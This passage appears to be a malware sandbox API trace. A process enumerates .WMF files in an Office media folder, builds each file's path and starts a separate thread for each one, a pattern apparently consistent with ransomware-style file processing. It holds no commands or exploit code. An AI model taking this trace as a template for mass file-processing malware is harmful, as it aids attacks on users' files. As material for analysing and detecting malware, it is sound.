ftCreationTime.dwLowDateTime=0x97d5a00, ftCreationTime.dwHighDateTime=0x1befd7a, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97d5a00, ftLastWriteTime.dwHighDateTime=0x1befd7a, nFileSizeHigh=0x0, nFileSizeLow=0x2448, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285444.WMF", cAlternateFileName="")) returned 1 [0155.002] wcscmp (_String1="J0285444.WMF", _String2=".") returned 1 [0155.002] wcscmp (_String1="J0285444.WMF", _String2="..") returned 1 [0155.002] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c51d98 [0155.002] wcscpy (in: _Dest=0x12c51d98, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.002] wcscat (in: _Dest=0x12c51d98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.002] wcscat (in: _Dest=0x12c51d98, _Source="J0285444.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" [0155.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51d98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1928 [0155.003] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d3c7300, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d3c7300, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x2a12, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285698.WMF", cAlternateFileName="")) returned 1 [0155.003] wcscmp (_String1="J0285698.WMF", _String2=".") returned 1 [0155.003] wcscmp (_String1="J0285698.WMF", _String2="..") returned 1 [0155.003] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c51e20 [0155.003] wcscpy (in: _Dest=0x12c51e20, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.003] wcscat (in: _Dest=0x12c51e20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.003] wcscat (in: _Dest=0x12c51e20, _Source="J0285698.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" [0155.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1584 [0155.005] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ecd1e00, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ecd1e00, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x958c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285750.WMF", cAlternateFileName="")) returned 1 [0155.005] wcscmp (_String1="J0285750.WMF", _String2=".") returned 1 [0155.005] wcscmp (_String1="J0285750.WMF", _String2="..") returned 1 [0155.005] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c51ea8 [0155.005] wcscpy (in: _Dest=0x12c51ea8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.005] wcscat (in: _Dest=0x12c51ea8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.005] wcscat (in: _Dest=0x12c51ea8, _Source="J0285750.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" [0155.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1920 [0155.006] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95908100, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95908100, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x3452, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285926.WMF", cAlternateFileName="")) returned 1 [0155.006] wcscmp (_String1="J0285926.WMF", _String2=".") returned 1 [0155.006] wcscmp (_String1="J0285926.WMF", _String2="..") returned 1 [0155.006] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c51f30 [0155.006] wcscpy (in: _Dest=0x12c51f30, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.006] wcscat (in: _Dest=0x12c51f30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.006] wcscat (in: _Dest=0x12c51f30, _Source="J0285926.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" [0155.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51f30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x191c [0155.007] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf49a800, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbf49a800, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286034.WMF", cAlternateFileName="")) returned 1 [0155.007] wcscmp (_String1="J0286034.WMF", _String2=".") returned 1 [0155.007] wcscmp (_String1="J0286034.WMF", _String2="..") returned 1 [0155.007] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c51fb8 [0155.007] wcscpy (in: _Dest=0x12c51fb8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.007] wcscat (in: _Dest=0x12c51fb8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.007] wcscat (in: _Dest=0x12c51fb8, _Source="J0286034.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" [0155.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51fb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1918 [0155.008] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5efff00, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd5efff00, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286068.WMF", cAlternateFileName="")) returned 1 [0155.008] wcscmp (_String1="J0286068.WMF", _String2=".") returned 1 [0155.009] wcscmp (_String1="J0286068.WMF", _String2="..") returned 1 [0155.009] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x942cf0 [0155.011] wcscpy (in: _Dest=0x942cf0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.011] wcscat (in: _Dest=0x942cf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.011] wcscat (in: _Dest=0x942cf0, _Source="J0286068.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" [0155.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x942cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1914 [0155.012] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa019c00, ftCreationTime.dwHighDateTime=0x1bef57a, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa019c00, ftLastWriteTime.dwHighDateTime=0x1bef57a, nFileSizeHigh=0x0, nFileSizeLow=0xb21e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287005.WMF", cAlternateFileName="")) returned 1 [0155.012] wcscmp (_String1="J0287005.WMF", _String2=".") returned 1 [0155.012] wcscmp (_String1="J0287005.WMF", _String2="..") returned 1 [0155.012] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x942d78 [0155.012] wcscpy (in: _Dest=0x942d78, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.012] wcscat (in: _Dest=0x942d78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.012] wcscat (in: _Dest=0x942d78, _Source="J0287005.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" [0155.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x942d78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1910 [0155.013] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948c7400, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948c7400, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x76ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0291984.WMF", cAlternateFileName="")) returned 1 [0155.013] wcscmp (_String1="J0291984.WMF", _String2=".") returned 1 [0155.013] wcscmp (_String1="J0291984.WMF", _String2="..") returned 1 [0155.013] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x942e00 [0155.013] wcscpy (in: _Dest=0x942e00, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.013] wcscat (in: _Dest=0x942e00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.014] wcscat (in: _Dest=0x942e00, _Source="J0291984.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" [0155.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x942e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x190c [0155.015] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9003000, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9003000, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x7148, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292020.WMF", cAlternateFileName="")) returned 1 [0155.015] wcscmp (_String1="J0292020.WMF", _String2=".") returned 1 [0155.015] wcscmp (_String1="J0292020.WMF", _String2="..") returned 1 [0155.015] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x942e88 [0155.015] wcscpy (in: _Dest=0x942e88, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.015] wcscat (in: _Dest=0x942e88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.015] wcscat (in: _Dest=0x942e88, _Source="J0292020.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" [0155.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x942e88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1908 [0155.016] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af05900, ftCreationTime.dwHighDateTime=0x1bf1522, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4af05900, ftLastWriteTime.dwHighDateTime=0x1bf1522, nFileSizeHigh=0x0, nFileSizeLow=0x20ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292152.WMF", cAlternateFileName="")) returned 1 [0155.016] wcscmp (_String1="J0292152.WMF", _String2=".") returned 1 [0155.016] wcscmp (_String1="J0292152.WMF", _String2="..") returned 1 [0155.016] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x942f10 [0155.016] wcscpy (in: _Dest=0x942f10, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.016] wcscat (in: _Dest=0x942f10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.016] wcscat (in: _Dest=0x942f10, _Source="J0292152.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" [0155.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x942f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1904 [0155.017] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48b60800, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x48b60800, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292982.WMF", cAlternateFileName="")) returned 1 [0155.017] wcscmp (_String1="J0292982.WMF", _String2=".") returned 1 [0155.017] wcscmp (_String1="J0292982.WMF", _String2="..") returned 1 [0155.017] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x942f98 [0155.018] wcscpy (in: _Dest=0x942f98, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.018] wcscat (in: _Dest=0x942f98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.018] wcscat (in: _Dest=0x942f98, _Source="J0292982.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" [0155.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x942f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1900 [0155.019] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293234.WMF", cAlternateFileName="")) returned 1 [0155.019] wcscmp (_String1="J0293234.WMF", _String2=".") returned 1 [0155.019] wcscmp (_String1="J0293234.WMF", _String2="..") returned 1 [0155.019] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x943020 [0155.019] wcscpy (in: _Dest=0x943020, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.019] wcscat (in: _Dest=0x943020, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.019] wcscat (in: _Dest=0x943020, _Source="J0293234.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" [0155.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13f8 [0155.020] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293236.WMF", cAlternateFileName="")) returned 1 [0155.020] wcscmp (_String1="J0293236.WMF", _String2=".") returned 1 [0155.020] wcscmp (_String1="J0293236.WMF", _String2="..") returned 1 [0155.020] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x9430a8 [0155.020] wcscpy (in: _Dest=0x9430a8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.020] wcscat (in: _Dest=0x9430a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.020] wcscat (in: _Dest=0x9430a8, _Source="J0293236.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" [0155.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9430a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18e4 [0155.021] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293238.WMF", cAlternateFileName="")) returned 1 [0155.021] wcscmp (_String1="J0293238.WMF", _String2=".") returned 1 [0155.021] wcscmp (_String1="J0293238.WMF", _String2="..") returned 1 [0155.021] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x943130 [0155.021] wcscpy (in: _Dest=0x943130, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.021] wcscat (in: _Dest=0x943130, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.021] wcscat (in: _Dest=0x943130, _Source="J0293238.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" [0155.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18b4 [0155.022] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c285600, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9c285600, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x88e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293240.WMF", cAlternateFileName="")) returned 1 [0155.022] wcscmp (_String1="J0293240.WMF", _String2=".") returned 1 [0155.022] wcscmp (_String1="J0293240.WMF", _String2="..") returned 1 [0155.022] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x9431b8 [0155.023] wcscpy (in: _Dest=0x9431b8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.023] wcscat (in: _Dest=0x9431b8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.023] wcscat (in: _Dest=0x9431b8, _Source="J0293240.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" [0155.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9431b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18b0 [0155.399] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a99d00, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x47a99d00, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x92c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293570.WMF", cAlternateFileName="")) returned 1 [0155.399] wcscmp (_String1="J0293570.WMF", _String2=".") returned 1 [0155.399] wcscmp (_String1="J0293570.WMF", _String2="..") returned 1 [0155.399] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x9432c8 [0155.399] wcscpy (in: _Dest=0x9432c8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0155.399] wcscat (in: _Dest=0x9432c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0155.399] wcscat (in: _Dest=0x9432c8, _Source="J0293570.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF") returned="C:\\Program 